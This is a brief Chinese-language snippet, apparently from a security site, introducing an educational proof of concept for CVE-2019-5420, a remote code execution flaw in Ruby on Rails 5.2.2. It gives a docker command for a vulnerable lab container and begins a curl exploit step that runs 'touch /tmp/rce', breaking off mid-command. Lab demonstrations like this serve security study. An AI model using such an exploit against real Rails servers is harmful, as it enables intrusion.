CVE-2019-5420

CVE-2019-5420 CVE-2019-5420 Ruby on Rails 仅供教育用途。 详见 参考。 环境 Ruby: 2.6.0p0 Rails: 5.2.2 运行 root@kitploit: $ docker run --name cve-2019-5420 --rm -p 3000:3000 knqyf263/cve-2019-5420 利用 执行 touch /tmp/rce root@kitploit: $ curl...